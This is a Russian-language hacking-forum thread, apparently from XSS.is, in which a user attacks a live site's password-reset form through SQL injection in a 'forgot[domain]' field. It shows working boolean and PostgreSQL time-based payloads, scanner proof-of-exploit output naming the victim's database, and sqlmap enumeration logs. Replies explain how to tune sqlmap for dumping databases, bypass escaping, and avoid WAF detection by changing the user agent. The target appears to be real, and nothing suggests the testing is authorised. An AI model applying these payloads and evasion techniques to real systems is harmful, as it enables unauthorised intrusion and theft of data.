• XSS.stack #1 – первый литературный журнал от юзеров форума

Acunetix легко раскручивает до BD а SQLmap нет (PostgreSQL)

Dead_silence

(L3) cache
Пользователь
Регистрация
04.08.2021
Сообщения
288
Реакции
60
SQLmap выдаёт ебаную дич !!! по типу "- _"

Код:
Attack Details
POST (multipart) input forgot[domain] was set to -1' OR 3*2*1=6 AND 000337=000337 --

Tests performed:
-1' OR 2+337-337-1=0+0+0+1 -- => TRUE
-1' OR 3+337-337-1=0+0+0+1 -- => FALSE
-1' OR 3*2<(0+5+337-337) -- => FALSE
-1' OR 3*2>(0+5+337-337) -- => FALSE
-1' OR 2+1-1+1=1 AND 000337=000337 -- => FALSE
-1' OR 3*2=5 AND 000337=000337 -- => FALSE
-1' OR 3*2=6 AND 000337=000337 -- => TRUE
-1' OR 3*2*0=6 AND 000337=000337 -- => FALSE
-1' OR 3*2*1=6 AND 000337=000337 -- => TRUE


Proof of Exploit
SQL query - SELECT current_database()
obssys

--------------------------------------------------
forgot[domain]=-1' OR 3*2*1=6 AND 000337=000337 -- &forgot[email]=testing@example.com

В то время как в акуше всё чётко

Собственно что делать ?
 
Код:
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 617 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: forgot[domain]=' AND 3031=(SELECT 3031 FROM PG_SLEEP(5))-- GKAB&forgot[email]=testing@example.com
---
[04:57:19] [INFO] the back-end DBMS is PostgreSQL
web application technology: Apache
back-end DBMS: PostgreSQL
[04:57:19] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[04:57:19] [INFO] fetching database (schema) names
[04:57:19] [INFO] fetching number of databases
[04:57:19] [INFO] resumed: 3
[04:57:19] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[04:57:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

[04:57:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[04:57:43] [INFO] retrieved:
[04:57:45] [INFO] resumed: \t
available databases [1]:
[*] "   "

Ну вот что за пиздец ?!
 
Чутка доделал получилось достать 1 BD
хотя SQLmap видит 3 но достаёт только 1
[*] public
таблицы долго но достаются, а вот колонки всё GG
Не знаю как правильно действовать
 
Чутка доделал получилось достать 1 BD
хотя SQLmap видит 3 но достаёт только 1
[*] public
таблицы долго но достаются, а вот колонки всё GG
Не знаю как правильно действовать
Попробуй этот инструмент может поможет
 
Юзер агент установи в sqlmap

вот что-то а UA я бы устанавливал в самый последний момент, потому что я очень сильно сомневаюсь что на таргете кто-то устанавливал особые правила для разных UA.
Зачастую проблема sqlmap в том что не предоставлены уточняющие данные, типа положительный ответ, если запрос верный тогда ... или код тела 200, либо титул страницы, либо наличие строки:
--string=STRING String to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--titles Compare pages based only on their titles

Так же очень важный момент: --level --risk:
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)

Зачастую все хуярит в слепую --level 5 --risk 3 и даже не смотрят что происходит. Например у нас параметр ?sess=5778127 и нам его модифицировать НЕЛЬЗЯ потому что это идентификатор сессии, при конфиге --level 5 --risk 3 данный ID (числовой) будет всячески модифицроваться. Стоит добавить --proxy http://127.0.0.1:8080 и запустить Burp на мониторинг и можно много что увидеть. Есть еще дополнительный секреты как отключить разного рода бред, но я не буду ими делиться) Дам один лишь совет - глубоко изучить конфигурацию sqlmap, без правильной настройки он вам вые... весь мозг, как это сделал мне в свое время и переодически сейчас. Для идентификации уязвимости я его даже не буду советовать, он нужно ТОЛЬКО исключетельно для дампа базы если вам лень вручную это делать или там обьемы большие или поджимают сроки.

Так же большую роль играют механизмы обхода:
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism

Ну и конечно же тамперы, но какой смысл ставить тампер если ты не уверен на 100%. Наугад что ли пихать?
В некоторых случаях бывает что даже большую роль играют тайм-ауты, поэтому важно следить через прокси за ответами и понимать что происходит. Местами выставленые тайм-ауты в 90 секунд помогали.
--threads - может быть бедой на медленных конфигурациях.
--ignore-code - бывает что нужный ответ именно в "плохих" кодах.
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N") - зачастую follow=N правильно, но в редких случаях наоборот, или даже нужен "второй" урл для чека: --second-url=SEC.. Resulting page URL searched for second-order response

в общем, можно почти по каждому параметру свои коменты тут отписать) Читайте доки. Внимательно)

p.s. буквально на днях у меня была мега простейшая скуля которую я глупо закинул в мап и отправил 10к+ реквестов засрав наглухо лог сервера когда мог указать --level 1 --risk 1 и получить нужный мне результат за 100-200 реквестов.
 
вот что-то а UA я бы устанавливал в самый последний момент, потому что я очень сильно сомневаюсь что на таргете кто-то устанавливал особые правила для разных UA.
Зачастую проблема sqlmap в том что не предоставлены уточняющие данные, типа положительный ответ, если запрос верный тогда ... или код тела 200, либо титул страницы, либо наличие строки:
--string=STRING String to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--titles Compare pages based only on their titles

Так же очень важный момент: --level --risk:
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)

Зачастую все хуярит в слепую --level 5 --risk 3 и даже не смотрят что происходит. Например у нас параметр ?sess=5778127 и нам его модифицировать НЕЛЬЗЯ потому что это идентификатор сессии, при конфиге --level 5 --risk 3 данный ID (числовой) будет всячески модифицроваться. Стоит добавить --proxy http://127.0.0.1:8080 и запустить Burp на мониторинг и можно много что увидеть. Есть еще дополнительный секреты как отключить разного рода бред, но я не буду ими делиться) Дам один лишь совет - глубоко изучить конфигурацию sqlmap, без правильной настройки он вам вые... весь мозг, как это сделал мне в свое время и переодически сейчас. Для идентификации уязвимости я его даже не буду советовать, он нужно ТОЛЬКО исключетельно для дампа базы если вам лень вручную это делать или там обьемы большие или поджимают сроки.

Так же большую роль играют механизмы обхода:
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism

Ну и конечно же тамперы, но какой смысл ставить тампер если ты не уверен на 100%. Наугад что ли пихать?
В некоторых случаях бывает что даже большую роль играют тайм-ауты, поэтому важно следить через прокси за ответами и понимать что происходит. Местами выставленые тайм-ауты в 90 секунд помогали.
--threads - может быть бедой на медленных конфигурациях.
--ignore-code - бывает что нужный ответ именно в "плохих" кодах.
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N") - зачастую follow=N правильно, но в редких случаях наоборот, или даже нужен "второй" урл для чека: --second-url=SEC.. Resulting page URL searched for second-order response

в общем, можно почти по каждому параметру свои коменты тут отписать) Читайте доки. Внимательно)

p.s. буквально на днях у меня была мега простейшая скуля которую я глупо закинул в мап и отправил 10к+ реквестов засрав наглухо лог сервера когда мог указать --level 1 --risk 1 и получить нужный мне результат за 100-200 реквестов.
может там waf а у sqlmap по дефолту юзер агент: sqlmap
 
может там waf а у sqlmap по дефолту юзер агент: sqlmap
в таком случае я крайне рекомендую использвать ключь -r и путь к файлу с raw запросом. Я это делаю по умолчанию что бы передать ВСЕ заголовки а не тупо --url параметр.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх